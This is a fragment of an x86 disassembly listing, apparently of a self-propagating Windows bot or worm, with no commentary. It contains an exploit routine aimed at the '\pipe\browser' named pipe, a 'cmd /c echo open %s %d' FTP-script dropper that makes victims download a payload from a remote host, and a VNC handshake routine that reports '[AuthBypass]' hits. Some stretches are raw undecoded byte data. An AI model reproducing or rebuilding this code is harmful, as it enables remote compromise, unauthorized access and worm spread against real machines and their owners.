		jmp	short loc_40D996
; ---------------------------------------------------------------------------


loc_40D98B:				; CODE XREF: sub_40D8AD+9Cj
					; sub_40D8AD+A4j
		push	[ebp+arg_20]
		call	sub_41B0B1
		pop	ecx


loc_40D994:				; CODE XREF: sub_40D8AD+61j
		xor	al, al


loc_40D996:				; CODE XREF: sub_40D8AD+D8j
					; sub_40D8AD+DCj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40D8AD	endp

; ---------------------------------------------------------------------------
		db  55h	; U
		db  8Bh	; ▀
		db 0ECh	; Л
		db 0B8h	; ╦
		db 0DCh	; э
		db  60h	; `
		db    0
		db    0
		db 0E8h	; Х
		db  78h	; x
		db 0E1h	; А
		db    0
		db    0
		db  53h	; S
		db  56h	; V
		db  57h	; W
		db  68h	; h
		db  80h	; ─
		db 0DBh	; ш
		db  42h	; B
		db    0
		db 0FFh
		db  75h	; u
		db    8
		db 0E8h	; Х
		db 0A8h	; ╗
		db 0F7h	; В
		db    0
		db    0
		db  59h	; Y
		db  33h	; 3
		db 0DBh	; ш
		db  85h	; ┘
		db 0C0h	; ю
		db  59h	; Y
		db  74h	; t
		db  4Eh	; N
		db 0FFh
		db  75h	; u
		db    8
		db 0BEh	; ╬
		db    0
		db  20h
		db    0
		db    0
		db  8Dh	; █
		db  85h	; ┘
		db  24h	; $
		db 0DFh	; ъ
		db 0FFh
		db 0FFh
		db  68h	; h
		db    4
		db  29h	; )
		db  43h	; C
		db    0
		db  56h	; V
		db  50h	; P
		db 0E8h	; Х
		db 0A6h	; ╕
		db 0DFh	; ъ
		db    0
		db    0
		db  6Ah	; j
		db  20h
		db  8Dh	; █
		db  85h	; ┘
		db  24h	; $
		db 0FFh
		db 0FFh
		db 0FFh
		db  53h	; S
		db  50h	; P
		db 0E8h	; Х
		db 0A7h	; ╖
		db 0DBh	; ш
		db    0
		db    0
		db  8Dh	; █
		db  85h	; ┘
		db  24h	; $
		db 0DFh	; ъ
		db 0FFh
		db 0FFh
		db  83h	; ┐
		db 0C4h	; д
		db  1Ch
		db  89h	; ┴
		db  85h	; ┘
		db  38h	; 8
		db 0FFh
		db 0FFh
		db 0FFh
		db 0B8h	; ╦
		db 0D8h	; ь
		db 0D7h	; в
		db  43h	; C
		db    0
		db  53h	; S
		db  50h	; P
		db  50h	; P
		db  8Dh	; █
		db  85h	; ┘
		db  24h	; $
		db 0FFh
		db 0FFh
		db 0FFh
		db  50h	; P
		db 0E8h	; Х
		db  44h	; D
		db  8Dh	; █
		db    1
		db    0
; ---------------------------------------------------------------------------
		jmp	short loc_40DA13
; ---------------------------------------------------------------------------
		db 0BEh	; ╬
		db    0
		db  20h
		db    0
		db    0
; ---------------------------------------------------------------------------


loc_40DA13:				; CODE XREF: ___:0040DA0Cj
		push	dword ptr [ebp+8]
		lea	eax, [ebp-40DCh]
		push	offset aSPipeBrowser ; "\\\\%s\\pipe\\browser"
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp-40DCh]
		push	ebx
		push	40000000h
		push	3
		push	ebx
		push	3
		push	0C0000000h
		push	eax
		nop
		call	near ptr 28B0703h
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jnz	short loc_40DA57


loc_40DA50:				; CODE XREF: ___:0040DB2Fj
					; ___:0040DD05j ...
		xor	al, al
		jmp	loc_40DE9B
; ---------------------------------------------------------------------------


loc_40DA57:				; CODE XREF: ___:0040DA4Ej
		push	48h
		lea	eax, [ebp-0B8h]
		push	ebx
		push	eax
		call	sub_41B590
		push	10h
		mov	byte ptr [ebp-0B8h], 5
		pop	eax
		mov	[ebp-0B7h], bl
		push	1
		mov	[ebp-0B4h], eax
		pop	edi
		mov	byte ptr [ebp-0B6h], 0Bh
		push	eax
		lea	eax, [ebp-98h]
		push	offset dword_4328DC
		push	eax
		mov	byte ptr [ebp-0B5h], 3
		mov	word ptr [ebp-0B0h], 48h
		mov	[ebp-0AEh], bx
		mov	[ebp-0ACh], ebx
		mov	word ptr [ebp-0A8h], 10B8h
		mov	word ptr [ebp-0A6h], 10B8h
		mov	[ebp-0A4h], ebx
		mov	[ebp-0A0h], edi
		mov	[ebp-9Ch], bx
		mov	byte ptr [ebp-9Ah], 1
		call	sub_41C310
		push	10h
		lea	eax, [ebp-84h]
		push	offset dword_4328C8
		push	eax
		mov	dword ptr [ebp-88h], 3
		call	sub_41C310
		add	esp, 24h
		lea	eax, [ebp-0BCh]
		mov	dword ptr [ebp-74h], 2
		push	ebx
		push	eax
		lea	eax, [ebp-0B8h]
		push	48h
		push	eax
		push	dword ptr [ebp-4]
		nop
		call	near ptr 28A0000h
		test	eax, eax
		jnz	short loc_40DB34


loc_40DB26:				; CODE XREF: ___:0040DC00j
		push	dword ptr [ebp-4]
		call	near ptr 28005AFh
		nop
		jmp	loc_40DA50
; ---------------------------------------------------------------------------


loc_40DB34:				; CODE XREF: ___:0040DB24j
		lea	eax, [ebp-14h]
		push	ebx
		push	eax
		lea	eax, [ebp-60DCh]
		push	esi
		push	eax
		push	dword ptr [ebp-4]
		nop
		call	near ptr 28B0000h
		push	ebx
		call	sub_41D081
		push	eax
		call	sub_41B8D8
		push	14h
		lea	eax, [ebp-70h]
		push	41h
		push	eax
		call	sub_41B590
		push	1Ch
		lea	eax, [ebp-30h]
		push	41h
		push	eax
		call	sub_41B590
		add	esp, 20h
		call	sub_41B8E2
		mov	esi, [ebp+0Ch]
		mov	[ebp-70h], eax
		mov	[ebp-64h], edi
		mov	[ebp-68h], ebx
		lea	esi, [esi+esi*4]
		mov	[ebp-6Ch], edi
		shl	esi, 2
		mov	[ebp-60h], bx
		cmp	byte_432870[esi], bl
		jz	short loc_40DBAB
		push	4
		mov	[ebp-24h], edi
		mov	[ebp-28h], ebx
		mov	[ebp-2Ch], edi
		push	offset dword_4CE34C
		jmp	short loc_40DBBE
; ---------------------------------------------------------------------------


loc_40DBAB:				; CODE XREF: ___:0040DB97j
		push	2
		mov	[ebp-28h], ebx
		pop	eax
		push	4
		mov	[ebp-24h], eax
		mov	[ebp-2Ch], eax
		push	(offset	loc_4328BF+1)


loc_40DBBE:				; CODE XREF: ___:0040DBA9j
		lea	eax, [ebp-20h]
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		call	sub_41B8E2
		mov	edi, 0FAh
		cdq
		mov	ecx, edi
		idiv	ecx
		inc	edx
		mov	[ebp-30h], edx
		call	sub_41B8E2
		cdq
		idiv	edi
		mov	eax, dword_432864[esi]
		mov	[ebp-18h], ebx
		push	eax
		mov	[ebp+8], eax
		inc	edx
		mov	[ebp-1Ch], edx
		call	sub_41B4D5
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		jz	loc_40DB26
		mov	eax, [ebp+8]
		add	eax, 0FFFFFFFEh
		push	eax
		push	90h
		push	edi
		call	sub_41B590
		mov	eax, [ebp+8]
		push	2
		push	ebx
		lea	eax, [edi+eax-2]
		push	eax
		call	sub_41B590
		mov	eax, dword_43286C[esi]
		push	7
		add	eax, edi
		push	offset dword_432858
		push	eax
		mov	[ebp+0Ch], eax
		call	sub_41C310
		mov	eax, [ebp+0Ch]
		push	15Ch
		add	eax, 7
		push	offset dword_4326F8
		push	eax
		call	sub_41C310
		mov	eax, dword_432868[esi]
		add	esp, 30h
		cmp	byte_432870[esi], bl
		mov	[ebp+0Ch], eax
		jz	short loc_40DCB7
		push	4
		add	eax, edi
		push	offset dword_4CE344
		push	eax
		call	sub_41C310
		add	dword ptr [ebp+0Ch], 0Ch
		mov	esi, offset dword_432888
		mov	eax, [ebp+0Ch]
		push	4
		add	eax, edi
		push	esi
		push	eax
		call	sub_41C310
		mov	eax, [ebp+0Ch]
		push	4
		push	esi
		lea	eax, [eax+edi+24h]
		push	eax
		mov	[ebp+0Ch], eax
		call	sub_41C310
		mov	eax, [ebp+0Ch]
		push	4
		add	eax, 0Ch
		push	esi
		push	eax
		call	sub_41C310
		add	esp, 30h
		jmp	short loc_40DCDF
; ---------------------------------------------------------------------------


loc_40DCB7:				; CODE XREF: ___:0040DC68j
		add	eax, edi
		mov	dword ptr [ebp-8], 10h
		mov	[ebp+0Ch], eax
		mov	esi, offset dword_432888


loc_40DCC8:				; CODE XREF: ___:0040DCDDj
		push	4
		push	esi
		push	dword ptr [ebp+0Ch]
		call	sub_41C310
		add	dword ptr [ebp+0Ch], 4
		add	esp, 0Ch
		dec	dword ptr [ebp-8]
		jnz	short loc_40DCC8


loc_40DCDF:				; CODE XREF: ___:0040DCB5j
		mov	eax, [ebp+8]
		add	eax, 42h
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	[ebp-8], esi
		jnz	short loc_40DD0A
		push	dword ptr [ebp-4]
		nop
		call	near ptr 28005AFh
		push	edi
		call	sub_41B0B1
		pop	ecx
		jmp	loc_40DA50
; ---------------------------------------------------------------------------


loc_40DD0A:				; CODE XREF: ___:0040DCF3j
		mov	eax, [ebp+8]
		add	eax, 42h
		push	eax
		push	ebx
		push	esi
		call	sub_41B590
		lea	eax, [ebp-70h]
		push	14h
		push	eax
		push	esi
		call	sub_41C310
		mov	eax, [ebp+8]
		mov	[ebp-0Ch], ebx
		mov	[ebp-10h], eax
		add	esp, 10h
		fild	qword ptr [ebp-10h]
		fmul	flt_4276AC
		fstp	qword ptr [esp]
		call	sub_41C7BF
		call	sub_41C798
		push	dword ptr [ebp+8]
		mov	[esi+1Ch], eax
		mov	[esi+18h], ebx
		mov	eax, [esi+1Ch]
		mov	[esi+14h], eax
		lea	eax, [esi+20h]
		push	edi
		push	eax
		call	sub_41C310
		mov	eax, [ebp+8]
		add	esp, 14h
		add	eax, 20h
		test	al, 3
		mov	[ebp+0Ch], eax
		jz	short loc_40DD77


loc_40DD6F:				; CODE XREF: ___:0040DD72j
		inc	eax
		test	al, 3
		jnz	short loc_40DD6F
		mov	[ebp+0Ch], eax


loc_40DD77:				; CODE XREF: ___:0040DD6Dj
		lea	ecx, [ebp-30h]
		push	1Ch
		add	eax, esi
		push	ecx
		push	eax
		call	sub_41C310
		add	dword ptr [ebp+0Ch], 1Ch
		push	edi
		call	sub_41B0B1
		push	18h
		lea	eax, [ebp-48h]
		push	ebx
		push	eax
		call	sub_41B590
		push	14h
		lea	eax, [ebp-5Ch]
		push	ebx
		push	eax
		mov	byte ptr [ebp-48h], 5
		mov	[ebp-47h], bl
		mov	[ebp-46h], bl
		mov	byte ptr [ebp-45h], 3
		mov	dword ptr [ebp-44h], 10h
		mov	[ebp-3Eh], bx
		mov	[ebp-3Ch], ebx
		mov	[ebp-34h], bx
		mov	word ptr [ebp-32h], 1Fh
		call	sub_41B590
		add	esp, 28h
		push	ebx
		push	ebx
		push	1
		push	ebx
		call	near ptr 28A08DEh
		nop
		mov	[ebp-4Ch], eax
		mov	[ebp+0Bh], bl
		mov	[ebp-0Ch], ebx


loc_40DDE4:				; CODE XREF: ___:0040DE6Ej
		cmp	dword ptr [ebp-0Ch], 2
		jge	loc_40DE79
		push	1
		push	10B8h
		push	dword ptr [ebp+0Ch]
		inc	dword ptr [ebp-0Ch]
		push	esi
		lea	esi, [ebp-48h]
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	dword ptr [ebp-4]
		rep movsd
		call	sub_40D8AD
		add	esp, 2Ch
		test	al, al
		jz	short loc_40DE76
		cmp	[ebp-4Ch], ebx
		jz	short loc_40DE68
		lea	eax, [ebp-5Ch]
		push	eax
		lea	eax, [ebp-14h]
		push	eax
		lea	eax, [ebp-60DCh]
		push	2000h
		push	eax
		push	dword ptr [ebp-4]
		nop
		call	near ptr 28B0000h
		test	eax, eax
		jnz	short loc_40DE4F
		nop
		call	near ptr 2830047h
		cmp	eax, 3E5h
		jnz	loc_40DA50


loc_40DE4F:				; CODE XREF: ___:0040DE3Cj
		push	3E8h
		push	dword ptr [ebp-4Ch]
		call	near ptr 2830753h
		nop
		cmp	eax, 102h
		jnz	short loc_40DE68
		mov	byte ptr [ebp+0Bh], 1


loc_40DE68:				; CODE XREF: ___:0040DE1Bj
					; ___:0040DE62j
		cmp	[ebp+0Bh], bl
		mov	esi, [ebp-8]
		jz	loc_40DDE4
		jmp	short loc_40DE79
; ---------------------------------------------------------------------------


loc_40DE76:				; CODE XREF: ___:0040DE16j
		mov	esi, [ebp-8]


loc_40DE79:				; CODE XREF: ___:0040DDE8j
					; ___:0040DE74j
		push	dword ptr [ebp-4]
		mov	edi, dword_427068
		call	edi
		push	esi
		call	sub_41B0B1
		cmp	[ebp-4Ch], ebx
		pop	ecx
		jz	short loc_40DE95
		push	dword ptr [ebp-4Ch]
		call	edi


loc_40DE95:				; CODE XREF: ___:0040DE8Ej
		cmp	[ebp+0Bh], bl
		setnz	al


loc_40DE9B:				; CODE XREF: ___:0040DA52j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		db  55h	; U
		db  8Bh	; ▀
		db 0ECh	; Л
		db  81h	; │
		db 0ECh	; Л
		db 0A0h	; ═
		db    5
		db    0
		db    0
		db  53h	; S
		db  56h	; V
		db  57h	; W
		db  33h	; 3
		db 0F6h	; Ж
		db  6Ah	; j
		db  10h
		db  8Dh	; █
		db  45h	; E
		db 0F0h	; П
		db  56h	; V
		db  50h	; P
		db 0E8h	; Х
		db 0D6h	; ж
		db 0D6h	; ж
		db    0
		db    0
		db  83h	; ┐
		db 0C4h	; д
		db  0Ch
		db  8Dh	; █
		db  45h	; E
		db  0Ch
		db  66h	; f
		db 0C7h	; г
		db  45h	; E
		db 0F0h	; П
		db    2
		db    0
		db  50h	; P
		db  90h	; ░
		db 0E8h	; Х
		db  2Bh	; +
		db  34h	; 4
		db  6Ah	; j
		db  71h	; q
		db 0FFh
		db 0B5h	; ╣
		db 0C4h	; д
		db    0
		db    0
		db    0
		db  89h	; ┴
		db  45h	; E
		db 0F4h	; Т
		db  90h	; ░
		db 0E8h	; Х
		db  6Ah	; j
		db  38h	; 8
		db  6Ah	; j
		db  71h	; q
		db  56h	; V
		db  6Ah	; j
		db    1
		db  6Ah	; j
		db    2
		db  66h	; f
		db  89h	; ┴
		db  45h	; E
		db 0F2h	; Р
		db  90h	; ░
		db 0E8h	; Х
		db  37h	; 7
		db  5Dh	; ]
		db  6Ah	; j
		db  71h	; q
		db  8Bh	; ▀
		db 0D8h	; ь
		db  83h	; ┐
		db 0FBh	; Ш
		db 0FFh
		db  74h	; t
		db  7Ch	; |
		db  8Dh	; █
		db  45h	; E
		db 0F0h	; П
		db  6Ah	; j
		db  10h
		db  50h	; P
		db  53h	; S
		db  90h	; ░
		db 0E8h	; Х
		db  5Eh	; ^
		db  5Fh	; _
		db  6Ah	; j
		db  71h	; q
		db  83h	; ┐
		db 0F8h	; Ь
		db 0FFh
		db  74h	; t
		db  6Ah	; j
		db 0BFh	; ©
		db    0
		db    4
		db    0
		db    0
		db  56h	; V
		db  8Bh	; ▀
		db  35h	; 5
		db  18h
		db  72h	; r
		db  42h	; B
		db    0
		db  8Dh	; █
		db  85h	; ┘
		db  60h	; `
		db 0FAh	; З
		db 0FFh
		db 0FFh
		db  57h	; W
		db  50h	; P
		db  53h	; S
		db 0FFh
		db 0D6h	; ж
		db 0B8h	; ╦
		db    8
		db  91h	; ▒
		db  42h	; B
		db    0
		db  50h	; P
		db  50h	; P
		db 0FFh
		db  35h	; 5
		db  60h	; `
		db 0B3h	; Ё
		db  4Ch	; L
		db    0
		db 0FFh
		db  75h	; u
		db    8
		db 0E8h	; Х
		db 0DFh	; ъ
		db 0CCh	; л
		db 0FFh
		db 0FFh
		db  59h	; Y
		db  50h	; P
		db  68h	; h
		db  10h
		db  29h	; )
		db  43h	; C
		db    0
		db  8Dh	; █
		db  85h	; ┘
		db  60h	; `
		db 0FEh	; Ч
		db 0FFh
		db 0FFh
		db  68h	; h
		db  90h	; ░
		db    1
		db    0
		db    0
		db  50h	; P
		db 0E8h	; Х
		db  38h	; 8
		db 0DAh	; з
		db    0
		db    0
		db  83h	; ┐
		db 0C4h	; д
		db  1Ch
		db  8Dh	; █
		db  85h	; ┘
		db  60h	; `
		db 0FEh	; Ч
		db 0FFh
		db 0FFh
		db  6Ah	; j
		db    0
		db  50h	; P
		db 0E8h	; Х
		db  87h	; ┤
		db 0D0h	; п
		db    0
		db    0
		db  59h	; Y
		db  50h	; P
		db  8Dh	; █
		db  85h	; ┘
		db  60h	; `
		db 0FEh	; Ч
		db 0FFh
		db 0FFh
		db  50h	; P
		db  53h	; S
		db  90h	; ░
		db 0E8h	; Х
		db  8Bh	; ▀
		db  3Bh	; ;
		db  6Ah	; j
		db  71h	; q
		db  83h	; ┐
		db 0F8h	; Ь
		db 0FFh
		db  75h	; u
		db    4
		db  33h	; 3
		db 0C0h	; ю
		db 0EBh	; К
		db  17h
		db  6Ah	; j
		db    0
		db  8Dh	; █
		db  85h	; ┘
		db  60h	; `
		db 0FAh	; З
		db 0FFh
		db 0FFh
		db  57h	; W
		db  50h	; P
		db  53h	; S
		db 0FFh
		db 0D6h	; ж
		db  53h	; S
		db 0E8h	; Х
		db 0E8h	; Х
		db  3Ah	; :
		db  6Ah	; j
		db  71h	; q
		db  90h	; ░
		db  6Ah	; j
		db    1
		db  58h	; X
		db  5Fh	; _
		db  5Eh	; ^
		db  5Bh	; [
		db 0C9h	; и
		db 0C3h	; ц
		dw 5653h
		dd 8DDB3357h, 53142444h, 0F9FDE850h, 8459FFFFh,	227459C0h
		dd 748D656Ah, 0EC811424h, 0BCh,	8B592F6Ah, 0E8A5F3FCh
		dd 0FFFFFEE4h, 0C0C481h, 0C0850000h, 0DB851575h, 0D0680B75h
		dd 90000007h, 412591E8h, 0FB834302h, 6AB87202h,	5E5F5801h
; ---------------------------------------------------------------------------
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DFE2	proc near		; CODE XREF: sub_40E0D0+91p

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		nop
		call	near ptr 71AB12F8h
		push	[ebp+arg_BC]
		mov	[ebp+var_C], eax
		nop
		call	near ptr 71AB1746h
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		nop
		call	near ptr 71AB3C22h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40E0B0
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	near ptr 71AB3E5Dh
		nop
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E0B0
		mov	edi, 400h
		push	esi
		mov	esi, dword_427218
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		mov	eax, offset byte_429108
		push	eax
		push	eax
		push	dword_4CB360
		push	[ebp+arg_0]
		call	sub_40AC0F
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpen_0 ; "cmd /c echo open %s %d >> ii &echo user"...
		lea	eax, [ebp+var_1A0]
		push	190h
		push	eax
		call	sub_41B980
		add	esp, 1Ch
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		nop
		call	near ptr 71AB1AF4h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E0B4


loc_40E0B0:				; CODE XREF: sub_40DFE2+50j
					; sub_40DFE2+62j
		xor	eax, eax
		jmp	short loc_40E0CB
; ---------------------------------------------------------------------------


loc_40E0B4:				; CODE XREF: sub_40DFE2+CCj
		push	0
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		push	ebx
		nop
		call	near ptr 71AB1A6Dh
		push	1
		pop	eax


loc_40E0CB:				; CODE XREF: sub_40DFE2+D0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40DFE2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E0D0	proc near		; CODE XREF: sub_40C124+1EAp
					; DATA XREF: ___:off_431ACCo

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		lea	eax, [ebp+arg_4]
		push	edi
		push	eax
		mov	[ebp+var_10], 2
		call	dword_4CB664
		push	[ebp+arg_A0]
		mov	[ebp+var_C], eax
		call	dword_4CB624
		push	6
		push	1
		push	2
		mov	[ebp+var_E], ax
		nop
		call	near ptr 71AB3C22h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40E142
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		nop
		call	near ptr 71AB3E5Dh
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E123
		push	esi
		jmp	short loc_40E13C
; ---------------------------------------------------------------------------


loc_40E123:				; CODE XREF: sub_40E0D0+4Ej
		push	0
		push	1213h
		push	offset dword_432984
		push	esi
		call	near ptr 71AB1AF4h
		nop
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_40E146


loc_40E13C:				; CODE XREF: sub_40E0D0+51j
		call	near ptr 71AB1A6Dh
		nop


loc_40E142:				; CODE XREF: sub_40E0D0+3Cj
		xor	eax, eax
		jmp	short loc_40E188
; ---------------------------------------------------------------------------


loc_40E146:				; CODE XREF: sub_40E0D0+6Aj
		nop
		call	near ptr 71AB1A6Dh
		push	216Bh
		lea	esi, [ebp+arg_0]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40DFE2
		add	esp, 0C0h
		test	eax, eax
		jz	short loc_40E185
		mov	eax, [ebp+arg_A8]
		shl	eax, 6
		inc	dword_431AD0[eax]
		lea	eax, dword_431AD0[eax]


loc_40E185:				; CODE XREF: sub_40E0D0+9Ej
		push	1
		pop	eax


loc_40E188:				; CODE XREF: sub_40E0D0+74j
		pop	edi
		pop	esi
		leave
		retn
sub_40E0D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E18C	proc near		; CODE XREF: ___:0040E27Ap
					; ___:0040E2DCp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		xor	esi, esi


loc_40E194:				; CODE XREF: sub_40E18C+2Dj
		test	edi, edi
		jle	short loc_40E1BF
		mov	eax, [esp+8+arg_4]
		push	0
		add	eax, esi
		push	edi
		push	eax
		push	[esp+14h+arg_0]
		call	dword_4CB63C
		test	eax, eax
		jz	short loc_40E1BB
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E1BB
		sub	edi, eax
		add	esi, eax
		jmp	short loc_40E194
; ---------------------------------------------------------------------------


loc_40E1BB:				; CODE XREF: sub_40E18C+22j
					; sub_40E18C+27j
		xor	eax, eax
		jmp	short loc_40E1C2
; ---------------------------------------------------------------------------


loc_40E1BF:				; CODE XREF: sub_40E18C+Aj
		push	1
		pop	eax


loc_40E1C2:				; CODE XREF: sub_40E18C+31j
		pop	edi
		pop	esi
		retn
sub_40E18C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E1C5	proc near		; CODE XREF: ___:0040E2C6p
					; ___:0040E2F3p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		test	edi, edi
		jz	short loc_40E202
		xor	esi, esi
		test	edi, edi
		jle	short loc_40E1FC


loc_40E1D5:				; CODE XREF: sub_40E1C5+35j
		mov	eax, edi
		push	0
		sub	eax, esi
		push	eax
		mov	eax, [esp+10h+arg_4]
		add	eax, esi
		push	eax
		push	[esp+14h+arg_0]
		call	dword_4CB674
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E202
		test	eax, eax
		jz	short loc_40E202
		add	esi, eax
		cmp	esi, edi
		jl	short loc_40E1D5


loc_40E1FC:				; CODE XREF: sub_40E1C5+Ej
		push	1
		pop	eax


loc_40E1FF:				; CODE XREF: sub_40E1C5+3Fj
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40E202:				; CODE XREF: sub_40E1C5+8j
					; sub_40E1C5+2Bj ...
		xor	eax, eax
		jmp	short loc_40E1FF
sub_40E1C5	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 24Ch
		push	ebx
		mov	ax, word_433BC8
		push	esi
		push	edi
		push	0
		push	1
		push	2
		mov	[ebp-2], ax
		pop	esi
		push	esi
		call	dword_4CB6A4
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_40E234
		push	eax
		jmp	short loc_40E268
; ---------------------------------------------------------------------------


loc_40E234:				; CODE XREF: ___:0040E22Fj
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4CB664
		push	dword ptr [ebp+0A8h]
		mov	[ebp-48h], eax
		mov	[ebp-4Ch], si
		call	dword_4CB624
		mov	[ebp-4Ah], ax
		lea	eax, [ebp-4Ch]
		push	10h
		push	eax
		push	ebx
		call	dword_4CB5CC
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E273
		push	ebx


loc_40E268:				; CODE XREF: ___:0040E232j
		call	dword_4CB6BC
		jmp	loc_40E46E
; ---------------------------------------------------------------------------


loc_40E273:				; CODE XREF: ___:0040E265j
		lea	eax, [ebp-38h]
		push	0Ch
		push	eax
		push	ebx
		call	sub_40E18C
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		lea	eax, [ebp-20h]
		and	byte ptr [ebp-2Ch], 0
		push	eax
		lea	eax, [ebp-28h]
		push	eax
		lea	eax, [ebp-38h]
		push	offset aRfb03d_03d ; "RFB %03d.%03d\n"
		push	eax
		call	sub_41C645
		add	esp, 10h
		cmp	eax, esi
		jnz	loc_40E467
		cmp	dword ptr [ebp-28h], 3
		jz	short loc_40E2BF
		cmp	dword ptr [ebp-20h], 8
		jnz	loc_40E467


loc_40E2BF:				; CODE XREF: ___:0040E2B3j
		lea	eax, [ebp-38h]
		push	0Ch
		push	eax
		push	ebx
		call	sub_40E1C5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		lea	eax, [ebp-3Ch]
		push	esi
		push	eax
		push	ebx
		call	sub_40E18C
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		lea	eax, [ebp-2]
		push	1
		push	eax
		push	ebx
		call	sub_40E1C5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		lea	eax, [ebp-24h]
		push	4
		push	eax
		push	ebx
		call	sub_40E18C
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		mov	eax, [ebp-24h]
		mov	edi, 0FF0000h
		mov	ecx, eax
		mov	edx, eax
		and	ecx, edi
		mov	esi, 0FF00h
		shr	edx, 10h
		or	ecx, edx
		mov	edx, eax
		shl	edx, 10h
		and	eax, esi
		or	edx, eax
		shr	ecx, 8
		shl	edx, 8
		or	ecx, edx
		mov	[ebp-24h], ecx
		jnz	loc_40E467
		push	1
		push	offset dword_4CB4DC
		push	ebx
		call	sub_40E1C5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		lea	eax, [ebp-1Ch]
		push	18h
		push	eax
		push	ebx
		call	sub_40E18C
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		xor	eax, eax
		mov	ecx, [ebp-8]
		mov	al, [ebp-1Bh]
		mov	edx, ecx
		mov	ah, [ebp-1Ch]
		mov	[ebp-1Ch], ax
		xor	eax, eax
		mov	al, [ebp-19h]
		mov	ah, [ebp-1Ah]
		mov	[ebp-1Ah], ax
		xor	eax, eax
		mov	al, [ebp-13h]
		mov	ah, [ebp-14h]
		mov	[ebp-14h], ax
		xor	eax, eax
		mov	al, [ebp-11h]
		mov	ah, [ebp-12h]
		mov	[ebp-12h], ax
		xor	eax, eax
		mov	al, [ebp-0Fh]
		mov	ah, [ebp-10h]
		mov	[ebp-10h], ax
		mov	eax, ecx
		and	eax, edi
		shr	edx, 10h
		or	eax, edx
		mov	edx, ecx
		shl	edx, 10h
		and	ecx, esi
		or	edx, ecx
		shr	eax, 8
		shl	edx, 8
		or	eax, edx
		mov	[ebp-8], eax
		add	eax, 2
		push	eax
		call	sub_41CFC5
		mov	edi, [ebp-8]
		pop	ecx
		test	edi, edi
		mov	esi, eax
		jle	short loc_40E3F7
		push	edi
		push	esi
		push	ebx
		call	sub_40E18C
		add	esp, 0Ch


loc_40E3F7:				; CODE XREF: ___:0040E3EAj
		and	byte ptr [edi+esi], 0
		lea	eax, [ebp+0Ch]
		push	eax
		push	esi
		push	dword ptr [ebp-20h]
		lea	eax, [ebp-24Ch]
		push	dword ptr [ebp-28h]
		push	offset aVncD_DSSAuthby ; "VNC%d.%d %s: %s - [AuthBypass]"
		push	200h
		push	eax
		call	sub_41B980
		push	0
		lea	eax, [ebp-24Ch]
		push	dword ptr [ebp+0B8h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_409A72
		lea	eax, [ebp-24Ch]
		push	eax
